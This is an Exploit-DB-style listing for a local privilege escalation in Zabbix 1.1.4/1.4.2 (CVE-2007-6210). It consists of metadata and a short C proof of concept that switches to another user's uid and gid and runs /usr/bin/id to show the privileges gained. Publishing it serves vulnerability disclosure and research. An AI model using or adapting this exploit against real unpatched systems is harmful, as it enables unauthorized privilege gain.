Zabbix 1.1.4/1.4.2 - 'daemon_start' Local Privilege Escalation

Author: Bas van Schaik
type: local
platform: linux
port: 
date_added: 2007-12-03 
date_updated: 2017-11-15 
verified: 1 
codes: CVE-2007-6210;OSVDB-42480 
tags: 
aliases:  
screenshot_url:  
application_url: 

#include <sys/types.h>
#include <unistd.h>
#include <pwd.h>
#include <stdio.h>

int main()
{
     struct passwd *pw;
     pw = getpwnam("abi");
     FILE *pipe;
     char buf[25];
     setgid(pw->pw_gid);
     setuid(pw->pw_uid);

     printf("my gid: %d\n", getegid());
     printf("my uid: %d\n", getuid());

     pipe = popen("/usr/bin/id", "r");
     while (fgets(buf, sizeof buf, pipe)) {
             printf("%s", buf);
     }
     printf("\n");
     pclose(pipe);
}